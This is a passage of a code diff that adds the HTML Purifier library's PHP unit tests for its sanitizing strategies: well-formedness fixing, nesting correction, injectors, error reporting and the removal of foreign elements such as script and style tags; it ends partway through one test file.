+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/CoreTest.php
@@ -0,0 +1,51 @@
+<?php
+
+class HTMLPurifier_Strategy_CoreTest extends HTMLPurifier_StrategyHarness
+{
+
+ public function setUp()
+ {
+ parent::setUp();
+ $this->obj = new HTMLPurifier_Strategy_Core();
+ }
+
+ public function testBlankInput()
+ {
+ $this->assertResult('');
+ }
+
+ public function testMakeWellFormed()
+ {
+ $this->assertResult(
+ '<b>Make well formed.',
+ '<b>Make well formed.</b>'
+ );
+ }
+
+ public function testFixNesting()
+ {
+ $this->assertResult(
+ '<b><div>Fix nesting.</div></b>',
+ '<b></b><div><b>Fix nesting.</b></div><b></b>'
+ );
+ }
+
+ public function testRemoveForeignElements()
+ {
+ $this->assertResult(
+ '<asdf>Foreign element removal.</asdf>',
+ 'Foreign element removal.'
+ );
+ }
+
+ public function testFirstThree()
+ {
+ $this->assertResult(
+ '<foo><b><div>All three.</div></b>',
+ '<b></b><div><b>All three.</b></div><b></b>'
+ );
+ }
+
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/ErrorsHarness.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/ErrorsHarness.php
new file mode 100644
index 000000000..3efc836f9
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/ErrorsHarness.php
@@ -0,0 +1,19 @@
+<?php
+
+class HTMLPurifier_Strategy_ErrorsHarness extends HTMLPurifier_ErrorsHarness
+{
+
+ // needs to be defined
+ protected function getStrategy() {}
+
+ protected function invoke($input)
+ {
+ $strategy = $this->getStrategy();
+ $lexer = new HTMLPurifier_Lexer_DirectLex();
+ $tokens = $lexer->tokenizeHTML($input, $this->config, $this->context);
+ $strategy->execute($tokens, $this->config, $this->context);
+ }
+
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/FixNestingTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/FixNestingTest.php
new file mode 100644
index 000000000..ace642d0d
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/FixNestingTest.php
@@ -0,0 +1,156 @@
+<?php
+
+class HTMLPurifier_Strategy_FixNestingTest extends HTMLPurifier_StrategyHarness
+{
+
+ public function setUp()
+ {
+ parent::setUp();
+ $this->obj = new HTMLPurifier_Strategy_FixNesting();
+ }
+
+ public function testPreserveInlineInRoot()
+ {
+ $this->assertResult('<b>Bold text</b>');
+ }
+
+ public function testPreserveInlineAndBlockInRoot()
+ {
+ $this->assertResult('<a href="about:blank">Blank</a><div>Block</div>');
+ }
+
+ public function testRemoveBlockInInline()
+ {
+ $this->assertResult(
+ '<b><div>Illegal div.</div></b>',
+ '<b>Illegal div.</b>'
+ );
+ }
+
+ public function testRemoveNodeWithMissingRequiredElements()
+ {
+ $this->assertResult('<ul></ul>', '');
+ }
+
+ public function testListHandleIllegalPCDATA()
+ {
+ $this->assertResult(
+ '<ul>Illegal text<li>Legal item</li></ul>',
+ '<ul><li>Illegal text</li><li>Legal item</li></ul>'
+ );
+ }
+
+ public function testRemoveIllegalPCDATA()
+ {
+ $this->assertResult(
+ '<table><tr>Illegal text<td></td></tr></table>',
+ '<table><tr><td></td></tr></table>'
+ );
+ }
+
+ public function testCustomTableDefinition()
+ {
+ $this->assertResult('<table><tr><td>Cell 1</td></tr></table>');
+ }
+
+ public function testRemoveEmptyTable()
+ {
+ $this->assertResult('<table></table>', '');
+ }
+
+ public function testChameleonRemoveBlockInNodeInInline()
+ {
+ $this->assertResult(
+ '<span><ins><div>Not allowed!</div></ins></span>',
+ '<span><ins>Not allowed!</ins></span>'
+ );
+ }
+
+ public function testChameleonRemoveBlockInBlockNodeWithInlineContent()
+ {
+ $this->assertResult(
+ '<h1><ins><div>Not allowed!</div></ins></h1>',
+ '<h1><ins>Not allowed!</ins></h1>'
+ );
+ }
+
+ public function testNestedChameleonRemoveBlockInNodeWithInlineContent()
+ {
+ $this->assertResult(
+ '<h1><ins><del><div>Not allowed!</div></del></ins></h1>',
+ '<h1><ins><del>Not allowed!</del></ins></h1>'
+ );
+ }
+
+ public function testNestedChameleonPreserveBlockInBlock()
+ {
+ $this->assertResult(
+ '<div><ins><del><div>Allowed!</div></del></ins></div>'
+ );
+ }
+
+ public function testExclusionsIntegration()
+ {
+ // test exclusions
+ $this->assertResult(
+ '<a><span><a>Not allowed</a></span></a>',
+ '<a><span></span></a>'
+ );
+ }
+
+ public function testPreserveInlineNodeInInlineRootNode()
+ {
+ $this->config->set('HTML.Parent', 'span');
+ $this->assertResult('<b>Bold</b>');
+ }
+
+ public function testRemoveBlockNodeInInlineRootNode()
+ {
+ $this->config->set('HTML.Parent', 'span');
+ $this->assertResult('<div>Reject</div>', 'Reject');
+ }
+
+ public function testInvalidParentError()
+ {
+ // test fallback to div
+ $this->config->set('HTML.Parent', 'obviously-impossible');
+ $this->config->set('Cache.DefinitionImpl', null);
+ $this->expectError('Cannot use unrecognized element as parent');
+ $this->assertResult('<div>Accept</div>');
+ }
+
+ public function testCascadingRemovalOfNodesMissingRequiredChildren()
+ {
+ $this->assertResult('<table><tr></tr></table>', '');
+ }
+
+ public function testCascadingRemovalSpecialCaseCannotScrollOneBack()
+ {
+ $this->assertResult('<table><tr></tr><tr></tr></table>', '');
+ }
+
+ public function testLotsOfCascadingRemovalOfNodes()
+ {
+ $this->assertResult('<table><tbody><tr></tr><tr></tr></tbody><tr></tr><tr></tr></table>', '');
+ }
+
+ public function testAdjacentRemovalOfNodeMissingRequiredChildren()
+ {
+ $this->assertResult('<table></table><table></table>', '');
+ }
+
+ public function testStrictBlockquoteInHTML401()
+ {
+ $this->config->set('HTML.Doctype', 'HTML 4.01 Strict');
+ $this->assertResult('<blockquote>text</blockquote>', '<blockquote><p>text</p></blockquote>');
+ }
+
+ public function testDisabledExcludes()
+ {
+ $this->config->set('Core.DisableExcludes', true);
+ $this->assertResult('<pre><font><font></font></font></pre>');
+ }
+
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/FixNesting_ErrorsTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/FixNesting_ErrorsTest.php
new file mode 100644
index 000000000..9c0db31d5
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/FixNesting_ErrorsTest.php
@@ -0,0 +1,47 @@
+<?php
+
+class HTMLPurifier_Strategy_FixNesting_ErrorsTest extends HTMLPurifier_Strategy_ErrorsHarness
+{
+
+ protected function getStrategy()
+ {
+ return new HTMLPurifier_Strategy_FixNesting();
+ }
+
+ public function testNodeRemoved()
+ {
+ $this->expectErrorCollection(E_ERROR, 'Strategy_FixNesting: Node removed');
+ $this->expectContext('CurrentToken', new HTMLPurifier_Token_Start('ul', array(), 1));
+ $this->invoke('<ul></ul>');
+ }
+
+ public function testNodeExcluded()
+ {
+ $this->expectErrorCollection(E_ERROR, 'Strategy_FixNesting: Node excluded');
+ $this->expectContext('CurrentToken', new HTMLPurifier_Token_Start('a', array(), 2));
+ $this->invoke("<a>\n<a></a></a>");
+ }
+
+ public function testNodeReorganized()
+ {
+ $this->expectErrorCollection(E_WARNING, 'Strategy_FixNesting: Node reorganized');
+ $this->expectContext('CurrentToken', new HTMLPurifier_Token_Start('span', array(), 1));
+ $this->invoke("<span>Valid<div>Invalid</div></span>");
+ }
+
+ public function testNoNodeReorganizedForEmptyNode()
+ {
+ $this->expectNoErrorCollection();
+ $this->invoke("<span></span>");
+ }
+
+ public function testNodeContentsRemoved()
+ {
+ $this->expectErrorCollection(E_ERROR, 'Strategy_FixNesting: Node contents removed');
+ $this->expectContext('CurrentToken', new HTMLPurifier_Token_Start('span', array(), 1));
+ $this->invoke("<span><div></div></span>");
+ }
+
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/MakeWellFormed/EndInsertInjector.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/MakeWellFormed/EndInsertInjector.php
new file mode 100644
index 000000000..9e213bad2
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/MakeWellFormed/EndInsertInjector.php
@@ -0,0 +1,19 @@
+<?php
+
+class HTMLPurifier_Strategy_MakeWellFormed_EndInsertInjector extends HTMLPurifier_Injector
+{
+ public $name = 'EndInsertInjector';
+ public $needed = array('span');
+ public function handleEnd(&$token)
+ {
+ if ($token->name == 'div') return;
+ $token = array(
+ new HTMLPurifier_Token_Start('b'),
+ new HTMLPurifier_Token_Text('Comment'),
+ new HTMLPurifier_Token_End('b'),
+ $token
+ );
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/MakeWellFormed/EndInsertInjectorTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/MakeWellFormed/EndInsertInjectorTest.php
new file mode 100644
index 000000000..ef0ca0455
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/MakeWellFormed/EndInsertInjectorTest.php
@@ -0,0 +1,47 @@
+<?php
+
+class HTMLPurifier_Strategy_MakeWellFormed_EndInsertInjectorTest extends HTMLPurifier_StrategyHarness
+{
+ public function setUp()
+ {
+ parent::setUp();
+ $this->obj = new HTMLPurifier_Strategy_MakeWellFormed();
+ $this->config->set('AutoFormat.Custom', array(
+ new HTMLPurifier_Strategy_MakeWellFormed_EndInsertInjector()
+ ));
+ }
+ public function testEmpty()
+ {
+ $this->assertResult('');
+ }
+ public function testNormal()
+ {
+ $this->assertResult('<i>Foo</i>', '<i>Foo<b>Comment</b></i>');
+ }
+ public function testEndOfDocumentProcessing()
+ {
+ $this->assertResult('<i>Foo', '<i>Foo<b>Comment</b></i>');
+ }
+ public function testDoubleEndOfDocumentProcessing()
+ {
+ $this->assertResult('<i><i>Foo', '<i><i>Foo<b>Comment</b></i><b>Comment</b></i>');
+ }
+ public function testEndOfNodeProcessing()
+ {
+ $this->assertResult('<div><i>Foo</div>asdf', '<div><i>Foo<b>Comment</b></i></div><i>asdf<b>Comment</b></i>');
+ }
+ public function testEmptyToStartEndProcessing()
+ {
+ $this->assertResult('<i />', '<i><b>Comment</b></i>');
+ }
+ public function testSpuriousEndTag()
+ {
+ $this->assertResult('</i>', '');
+ }
+ public function testLessButStillSpuriousEndTag()
+ {
+ $this->assertResult('<div></i></div>', '<div></div>');
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/MakeWellFormed/EndRewindInjector.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/MakeWellFormed/EndRewindInjector.php
new file mode 100644
index 000000000..0e5a8e200
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/MakeWellFormed/EndRewindInjector.php
@@ -0,0 +1,32 @@
+<?php
+
+class HTMLPurifier_Strategy_MakeWellFormed_EndRewindInjector extends HTMLPurifier_Injector
+{
+ public $name = 'EndRewindInjector';
+ public $needed = array('span');
+ public function handleElement(&$token)
+ {
+ if (isset($token->_InjectorTest_EndRewindInjector_delete)) {
+ $token = false;
+ }
+ }
+ public function handleText(&$token)
+ {
+ $token = false;
+ }
+ public function handleEnd(&$token)
+ {
+ $i = null;
+ if (
+ $this->backward($i, $prev) &&
+ $prev instanceof HTMLPurifier_Token_Start &&
+ $prev->name == 'span'
+ ) {
+ $token = false;
+ $prev->_InjectorTest_EndRewindInjector_delete = true;
+ $this->rewindOffset(1);
+ }
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/MakeWellFormed/EndRewindInjectorTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/MakeWellFormed/EndRewindInjectorTest.php
new file mode 100644
index 000000000..7fe7790fa
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/MakeWellFormed/EndRewindInjectorTest.php
@@ -0,0 +1,39 @@
+<?php
+
+class HTMLPurifier_Strategy_MakeWellFormed_EndRewindInjectorTest extends HTMLPurifier_StrategyHarness
+{
+ public function setUp()
+ {
+ parent::setUp();
+ $this->obj = new HTMLPurifier_Strategy_MakeWellFormed();
+ $this->config->set('AutoFormat.Custom', array(
+ new HTMLPurifier_Strategy_MakeWellFormed_EndRewindInjector()
+ ));
+ }
+ public function testBasic()
+ {
+ $this->assertResult('');
+ }
+ public function testFunction()
+ {
+ $this->assertResult('<span>asdf</span>','');
+ }
+ public function testFailedFunction()
+ {
+ $this->assertResult('<span>asd<b>asdf</b>asdf</span>','<span><b></b></span>');
+ }
+ public function testPadded()
+ {
+ $this->assertResult('<b></b><span>asdf</span><b></b>','<b></b><b></b>');
+ }
+ public function testDoubled()
+ {
+ $this->config->set('AutoFormat.Custom', array(
+ new HTMLPurifier_Strategy_MakeWellFormed_EndRewindInjector(),
+ new HTMLPurifier_Strategy_MakeWellFormed_EndRewindInjector(),
+ ));
+ $this->assertResult('<b></b><span>asdf</span>', '<b></b>');
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/MakeWellFormed/SkipInjector.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/MakeWellFormed/SkipInjector.php
new file mode 100644
index 000000000..65e068ec0
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/MakeWellFormed/SkipInjector.php
@@ -0,0 +1,13 @@
+<?php
+
+class HTMLPurifier_Strategy_MakeWellFormed_SkipInjector extends HTMLPurifier_Injector
+{
+ public $name = 'EndRewindInjector';
+ public $needed = array('span');
+ public function handleElement(&$token)
+ {
+ $token = array(clone $token, clone $token);
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/MakeWellFormed/SkipInjectorTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/MakeWellFormed/SkipInjectorTest.php
new file mode 100644
index 000000000..1407a2634
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/MakeWellFormed/SkipInjectorTest.php
@@ -0,0 +1,31 @@
+<?php
+
+class HTMLPurifier_Strategy_MakeWellFormed_SkipInjectorTest extends HTMLPurifier_StrategyHarness
+{
+ public function setUp()
+ {
+ parent::setUp();
+ $this->obj = new HTMLPurifier_Strategy_MakeWellFormed();
+ $this->config->set('AutoFormat.Custom', array(
+ new HTMLPurifier_Strategy_MakeWellFormed_SkipInjector()
+ ));
+ }
+ public function testEmpty()
+ {
+ $this->assertResult('');
+ }
+ public function testMultiply()
+ {
+ $this->assertResult('<br />', '<br /><br />');
+ }
+ public function testMultiplyMultiply()
+ {
+ $this->config->set('AutoFormat.Custom', array(
+ new HTMLPurifier_Strategy_MakeWellFormed_SkipInjector(),
+ new HTMLPurifier_Strategy_MakeWellFormed_SkipInjector()
+ ));
+ $this->assertResult('<br />', '<br /><br /><br /><br />');
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/MakeWellFormedTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/MakeWellFormedTest.php
new file mode 100644
index 000000000..20b65d3ef
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/MakeWellFormedTest.php
@@ -0,0 +1,170 @@
+<?php
+
+class HTMLPurifier_Strategy_MakeWellFormedTest extends HTMLPurifier_StrategyHarness
+{
+
+ public function setUp()
+ {
+ parent::setUp();
+ $this->obj = new HTMLPurifier_Strategy_MakeWellFormed();
+ }
+
+ public function testEmptyInput()
+ {
+ $this->assertResult('');
+ }
+
+ public function testWellFormedInput()
+ {
+ $this->assertResult('This is <b>bold text</b>.');
+ }
+
+ public function testUnclosedTagTerminatedByDocumentEnd()
+ {
+ $this->assertResult(
+ '<b>Unclosed tag, gasp!',
+ '<b>Unclosed tag, gasp!</b>'
+ );
+ }
+
+ public function testUnclosedTagTerminatedByParentNodeEnd()
+ {
+ $this->assertResult(
+ '<b><i>Bold and italic?</b>',
+ '<b><i>Bold and italic?</i></b><i></i>'
+ );
+ }
+
+ public function testRemoveStrayClosingTag()
+ {
+ $this->assertResult(
+ 'Unused end tags... recycle!</b>',
+ 'Unused end tags... recycle!'
+ );
+ }
+
+ public function testConvertStartToEmpty()
+ {
+ $this->assertResult(
+ '<br style="clear:both;">',
+ '<br style="clear:both;" />'
+ );
+ }
+
+ public function testConvertEmptyToStart()
+ {
+ $this->assertResult(
+ '<div style="clear:both;" />',
+ '<div style="clear:both;"></div>'
+ );
+ }
+
+ public function testAutoCloseParagraph()
+ {
+ $this->assertResult(
+ '<p>Paragraph 1<p>Paragraph 2',
+ '<p>Paragraph 1</p><p>Paragraph 2</p>'
+ );
+ }
+
+ public function testAutoCloseParagraphInsideDiv()
+ {
+ $this->assertResult(
+ '<div><p>Paragraphs<p>In<p>A<p>Div</div>',
+ '<div><p>Paragraphs</p><p>In</p><p>A</p><p>Div</p></div>'
+ );
+ }
+
+ public function testAutoCloseListItem()
+ {
+ $this->assertResult(
+ '<ol><li>Item 1<li>Item 2</ol>',
+ '<ol><li>Item 1</li><li>Item 2</li></ol>'
+ );
+ }
+
+ public function testAutoCloseColgroup()
+ {
+ $this->assertResult(
+ '<table><colgroup><col /><tr></tr></table>',
+ '<table><colgroup><col /></colgroup><tr></tr></table>'
+ );
+ }
+
+ public function testAutoCloseMultiple()
+ {
+ $this->assertResult(
+ '<b><span><div></div>asdf',
+ '<b><span></span></b><div><b></b></div><b>asdf</b>'
+ );
+ }
+
+ public function testUnrecognized()
+ {
+ $this->assertResult(
+ '<asdf><foobar /><biddles>foo</asdf>',
+ '<asdf><foobar /><biddles>foo</biddles></asdf>'
+ );
+ }
+
+ public function testBlockquoteWithInline()
+ {
+ $this->config->set('HTML.Doctype', 'XHTML 1.0 Strict');
+ $this->assertResult(
+ // This is actually invalid, but will be fixed by
+ // ChildDef_StrictBlockquote
+ '<blockquote>foo<b>bar</b></blockquote>'
+ );
+ }
+
+ public function testLongCarryOver()
+ {
+ $this->assertResult(
+ '<b>asdf<div>asdf<i>df</i></div>asdf</b>',
+ '<b>asdf</b><div><b>asdf<i>df</i></b></div><b>asdf</b>'
+ );
+ }
+
+ public function testInterleaved()
+ {
+ $this->assertResult(
+ '<u>foo<i>bar</u>baz</i>',
+ '<u>foo<i>bar</i></u><i>baz</i>'
+ );
+ }
+
+ public function testNestedOl()
+ {
+ $this->assertResult(
+ '<ol><ol><li>foo</li></ol></ol>',
+ '<ol><ol><li>foo</li></ol></ol>'
+ );
+ }
+
+ public function testNestedUl()
+ {
+ $this->assertResult(
+ '<ul><ul><li>foo</li></ul></ul>',
+ '<ul><ul><li>foo</li></ul></ul>'
+ );
+ }
+
+ public function testNestedOlWithStrangeEnding()
+ {
+ $this->assertResult(
+ '<ol><li><ol><ol><li>foo</li></ol></li><li>foo</li></ol>',
+ '<ol><li><ol><ol><li>foo</li></ol></ol></li><li>foo</li></ol>'
+ );
+ }
+
+ public function testNoAutocloseIfNoParentsCanAccomodateTag()
+ {
+ $this->assertResult(
+ '<table><tr><td><li>foo</li></td></tr></table>',
+ '<table><tr><td>foo</td></tr></table>'
+ );
+ }
+
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/MakeWellFormed_ErrorsTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/MakeWellFormed_ErrorsTest.php
new file mode 100644
index 000000000..1265db7aa
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/MakeWellFormed_ErrorsTest.php
@@ -0,0 +1,71 @@
+<?php
+
+class HTMLPurifier_Strategy_MakeWellFormed_ErrorsTest extends HTMLPurifier_Strategy_ErrorsHarness
+{
+
+ protected function getStrategy()
+ {
+ return new HTMLPurifier_Strategy_MakeWellFormed();
+ }
+
+ public function testUnnecessaryEndTagRemoved()
+ {
+ $this->expectErrorCollection(E_WARNING, 'Strategy_MakeWellFormed: Unnecessary end tag removed');
+ $this->expectContext('CurrentToken', new HTMLPurifier_Token_End('b', array(), 1, 0));
+ $this->invoke('</b>');
+ }
+
+ public function testUnnecessaryEndTagToText()
+ {
+ $this->config->set('Core.EscapeInvalidTags', true);
+ $this->expectErrorCollection(E_WARNING, 'Strategy_MakeWellFormed: Unnecessary end tag to text');
+ $this->expectContext('CurrentToken', new HTMLPurifier_Token_End('b', array(), 1, 0));
+ $this->invoke('</b>');
+ }
+
+ public function testTagAutoclose()
+ {
+ $this->expectErrorCollection(E_NOTICE, 'Strategy_MakeWellFormed: Tag auto closed', new HTMLPurifier_Token_Start('p', array(), 1, 0));
+ $this->expectContext('CurrentToken', new HTMLPurifier_Token_Start('div', array(), 1, 6));
+ $this->invoke('<p>Foo<div>Bar</div>');
+ }
+
+ public function testTagCarryOver()
+ {
+ $b = new HTMLPurifier_Token_Start('b', array(), 1, 0);
+ $this->expectErrorCollection(E_NOTICE, 'Strategy_MakeWellFormed: Tag carryover', $b);
+ $this->expectContext('CurrentToken', new HTMLPurifier_Token_Start('div', array(), 1, 6));
+ $this->invoke('<b>Foo<div>Bar</div>');
+ }
+
+ public function testStrayEndTagRemoved()
+ {
+ $this->expectErrorCollection(E_WARNING, 'Strategy_MakeWellFormed: Stray end tag removed');
+ $this->expectContext('CurrentToken', new HTMLPurifier_Token_End('b', array(), 1, 3));
+ $this->invoke('<i></b></i>');
+ }
+
+ public function testStrayEndTagToText()
+ {
+ $this->config->set('Core.EscapeInvalidTags', true);
+ $this->expectErrorCollection(E_WARNING, 'Strategy_MakeWellFormed: Stray end tag to text');
+ $this->expectContext('CurrentToken', new HTMLPurifier_Token_End('b', array(), 1, 3));
+ $this->invoke('<i></b></i>');
+ }
+
+ public function testTagClosedByElementEnd()
+ {
+ $this->expectErrorCollection(E_NOTICE, 'Strategy_MakeWellFormed: Tag closed by element end', new HTMLPurifier_Token_Start('b', array(), 1, 3));
+ $this->expectContext('CurrentToken', new HTMLPurifier_Token_End('i', array(), 1, 12));
+ $this->invoke('<i><b>Foobar</i>');
+ }
+
+ public function testTagClosedByDocumentEnd()
+ {
+ $this->expectErrorCollection(E_NOTICE, 'Strategy_MakeWellFormed: Tag closed by document end', new HTMLPurifier_Token_Start('b', array(), 1, 0));
+ $this->invoke('<b>Foobar');
+ }
+
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/MakeWellFormed_InjectorTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/MakeWellFormed_InjectorTest.php
new file mode 100644
index 000000000..da9af1ab8
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/MakeWellFormed_InjectorTest.php
@@ -0,0 +1,163 @@
+<?php
+
+class HTMLPurifier_Strategy_MakeWellFormed_InjectorTest extends HTMLPurifier_StrategyHarness
+{
+
+ public function setUp()
+ {
+ parent::setUp();
+ $this->obj = new HTMLPurifier_Strategy_MakeWellFormed();
+ $this->config->set('AutoFormat.AutoParagraph', true);
+ $this->config->set('AutoFormat.Linkify', true);
+ $this->config->set('AutoFormat.RemoveEmpty', true);
+ generate_mock_once('HTMLPurifier_Injector');
+ }
+
+ public function testEndHandler()
+ {
+ $mock = new HTMLPurifier_InjectorMock();
+ $b = new HTMLPurifier_Token_End('b');
+ $b->skip = array(0 => true);
+ $b->start = new HTMLPurifier_Token_Start('b');
+ $b->start->skip = array(0 => true, 1 => true);
+ $mock->expectAt(0, 'handleEnd', array($b));
+ $i = new HTMLPurifier_Token_End('i');
+ $i->start = new HTMLPurifier_Token_Start('i');
+ $i->skip = array(0 => true);
+ $i->start->skip = array(0 => true, 1 => true);
+ $mock->expectAt(1, 'handleEnd', array($i));
+ $mock->expectCallCount('handleEnd', 2);
+ $mock->setReturnValue('getRewindOffset', false);
+ $this->config->set('AutoFormat.AutoParagraph', false);
+ $this->config->set('AutoFormat.Linkify', false);
+ $this->config->set('AutoFormat.Custom', array($mock));
+ $this->assertResult('<i><b>asdf</b>', '<i><b>asdf</b></i>');
+ }
+
+ public function testErrorRequiredElementNotAllowed()
+ {
+ $this->config->set('HTML.Allowed', '');
+ $this->expectError('Cannot enable AutoParagraph injector because p is not allowed');
+ $this->expectError('Cannot enable Linkify injector because a is not allowed');
+ $this->assertResult('Foobar');
+ }
+
+ public function testErrorRequiredAttributeNotAllowed()
+ {
+ $this->config->set('HTML.Allowed', 'a,p');
+ $this->expectError('Cannot enable Linkify injector because a.href is not allowed');
+ $this->assertResult('<p>http://example.com</p>');
+ }
+
+ public function testOnlyAutoParagraph()
+ {
+ $this->assertResult(
+ 'Foobar',
+ '<p>Foobar</p>'
+ );
+ }
+
+ public function testParagraphWrappingOnlyLink()
+ {
+ $this->assertResult(
+ 'http://example.com',
+ '<p><a href="http://example.com">http://example.com</a></p>'
+ );
+ }
+
+ public function testParagraphWrappingNodeContainingLink()
+ {
+ $this->assertResult(
+ '<b>http://example.com</b>',
+ '<p><b><a href="http://example.com">http://example.com</a></b></p>'
+ );
+ }
+
+ public function testParagraphWrappingPoorlyFormedNodeContainingLink()
+ {
+ $this->assertResult(
+ '<b>http://example.com',
+ '<p><b><a href="http://example.com">http://example.com</a></b></p>'
+ );
+ }
+
+ public function testTwoParagraphsContainingOnlyOneLink()
+ {
+ $this->assertResult(
+ "http://example.com\n\nhttp://dev.example.com",
+'<p><a href="http://example.com">http://example.com</a></p>
+
+<p><a href="http://dev.example.com">http://dev.example.com</a></p>'
+ );
+ }
+
+ public function testParagraphNextToDivWithLinks()
+ {
+ $this->assertResult(
+ 'http://example.com <div>http://example.com</div>',
+'<p><a href="http://example.com">http://example.com</a> </p>
+
+<div><a href="http://example.com">http://example.com</a></div>'
+ );
+ }
+
+ public function testRealisticLinkInSentence()
+ {
+ $this->assertResult(
+ 'This URL http://example.com is what you need',
+ '<p>This URL <a href="http://example.com">http://example.com</a> is what you need</p>'
+ );
+ }
+
+ public function testParagraphAfterLinkifiedURL()
+ {
+ $this->assertResult(
+"http://google.com
+
+<b>b</b>",
+"<p><a href=\"http://google.com\">http://google.com</a></p>
+
+<p><b>b</b></p>"
+ );
+ }
+
+ public function testEmptyAndParagraph()
+ {
+ // This is a fairly degenerate case, but it demonstrates that
+ // the two don't error out together, at least.
+ // Change this behavior!
+ $this->assertResult(
+"<p>asdf
+
+asdf<b></b></p>
+
+<p></p><i></i>",
+"<p>asdf</p>
+
+<p>asdf</p>
+
+"
+ );
+ }
+
+ public function testRewindAndParagraph()
+ {
+ $this->assertResult(
+"bar
+
+<p><i></i>
+
+</p>
+
+foo",
+"<p>bar</p>
+
+
+
+<p>foo</p>"
+ );
+ }
+
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/RemoveForeignElementsTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/RemoveForeignElementsTest.php
new file mode 100644
index 000000000..aea87062e
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/RemoveForeignElementsTest.php
@@ -0,0 +1,133 @@
+<?php
+
+class HTMLPurifier_Strategy_RemoveForeignElementsTest extends HTMLPurifier_StrategyHarness
+{
+
+ public function setUp()
+ {
+ parent::setUp();
+ $this->obj = new HTMLPurifier_Strategy_RemoveForeignElements();
+ }
+
+ public function testBlankInput()
+ {
+ $this->assertResult('');
+ }
+
+ public function testPreserveRecognizedElements()
+ {
+ $this->assertResult('This is <b>bold text</b>.');
+ }
+
+ public function testRemoveForeignElements()
+ {
+ $this->assertResult(
+ '<asdf>Bling</asdf><d href="bang">Bong</d><foobar />',
+ 'BlingBong'
+ );
+ }
+
+ public function testRemoveScriptAndContents()
+ {
+ $this->assertResult(
+ '<script>alert();</script>',
+ ''
+ );
+ }
+
+ public function testRemoveStyleAndContents()
+ {
+ $this->assertResult(
+ '<style>.foo {blink;}</style>',
+ ''
+ );
+ }
+
+ public function testRemoveOnlyScriptTagsLegacy()
+ {
+ $this->config->set('Core.RemoveScriptContents', false);
+ $this->assertResult(
+ '<script>alert();</script>',
+ 'alert();'
+ );
+ }
+
+ public function testRemoveOnlyScriptTags()
+ {
+ $this->config->set('Core.HiddenElements', array());
+ $this->assertResult(
+ '<script>alert();</script>',
+ 'alert();'
+ );
+ }
+
+ public function testRemoveInvalidImg()
+ {
+ $this->assertResult('<img />', '');
+ }
+
+ public function testPreserveValidImg()
+ {
+ $this->assertResult('<img src="foobar.gif" alt="foobar.gif" />');
+ }
+
+ public function testPreserveInvalidImgWhenRemovalIsDisabled()
+ {
+ $this->config->set('Core.RemoveInvalidImg', false);
+ $this->assertResult('<img />');
+ }
+
+ public function testTextifyCommentedScriptContents()
+ {
+ $this->config->set('HTML.Trusted', true);
+ $this->config->set('Output.CommentScriptContents', false); // simplify output
+ $this->assertResult(
+'<script type="text/javascript"><!--
+alert(<b>bold</b>);
+// --></script>',
+'<script type="text/javascript">
+alert(&lt;b&gt;bold&lt;/b&gt;);
+// </script>'
+ );
+ }
+
+ public function testRequiredAttributesTestNotPerformedOnEndTag()
+ {
